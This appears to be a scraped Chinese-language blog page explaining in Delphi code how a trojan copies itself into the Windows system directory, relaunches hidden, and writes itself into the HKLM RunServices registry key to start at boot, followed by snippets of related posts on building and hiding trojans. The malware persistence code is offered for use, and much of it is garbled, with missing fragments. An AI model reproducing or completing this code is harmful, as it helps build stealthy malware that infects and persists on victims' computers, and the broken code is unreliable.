這種方法的原理是程式執行時先檢視自己是不是在特定目錄下,如果是就繼續執行,如果不是就把自己拷貝到特定目錄下,然後執行新程式,再退出舊程式.
開啟delphi,新建乙個工程,在視窗的create事件中寫**:
procedure tform1.formcreate(sender: tobject);
var myname:
string
;begin
myname :=//
獲得檔名
if<>
getwindir
+myname then
//如果檔案不是在windowssystem那麼..
+myname), false);
...
winexec(pchar(getwindir
+myname), sw_hide);
//執行windowssystem下的新檔案
//退出
end;
end;
其中getwindir是自定義函式,起功能是找出windowssystem的路徑.
function getwindir: string;
varbuf: array[
0..max_path] of
char
;begin
getsystemdirectory(buf, max_path);
result :
=buf;
ifresult[length(result)]
<>
'' then result := result + ''
;end;
如何能使程式能在windows啟動時自動啟動?
為了程式能在windows每次啟動時自動執行,可以通過六種途徑來實現.「冰河」用登錄檔的方式。
加入registry單元,改寫上面的視窗create事件,改寫後的程式如下:
procedure tform1.formcreate(sender: tobject);
constk =
'softwaremicrosoftwindowscurrentversionrunservices';
var myname:
string
;begin
...myname :=//
獲得檔名
if<>
getwindir
+myname then
//如果檔案不是在windowssystem那麼..
+myname), false);
...winexec(pchar(getwindir
+myname), sw_hide);
//執行windowssystem下的新檔案
//退出
end;
with tregistry.create
dotry
rootkey :
=hkey_local_machine;
openkey( k, true );
writestring(
'syspler
'finally
free;
end;
end;
Delphi實現木馬自我拷貝方法
木馬實現自我拷貝的原理是程式執行時先檢視自己是不是在特定目錄下,如果是就繼續執行,如果不是就把自己拷貝到特定目錄下,然後執行新程式,繼而退出舊程式.本例即以delphi實現木馬的自我拷貝。首先開啟delphi,新建乙個工程,在視窗的create事件中寫入如下 procedure tform1.for...
木馬的隱藏與自我保護技術
大家可能用一些工具時會用到ssdt檢查圖，可能會顯示的結果是某個驅動 cdnprot.sys hook了一堆的服務函式。你是不是感覺到很高深，莫怕，今天看到一位前輩通過例項給我們很貼切的解釋了一下各個名詞 下面我用乙個比喻來形容一下兒這些電腦名詞與木馬技術的實現機制。windows 作業系統 就像乙...
DELPHI下打造自己的簡單木馬
今天晚上無聊寫著玩的，如果你是高手就別看了，免得我丟人。本文章只適合初學delphi小菜。剛學電腦時很喜歡網路安全，看著高手們寫的乙個又乙個攻擊工具，自己也總想努力去學好程式設計去寫屬於自己的程式。學delphi快一年了，感覺什麼都沒學到，慚愧啊。今晚突然想學著寫木馬，於是手忙腳亂的敲了點 超簡單，...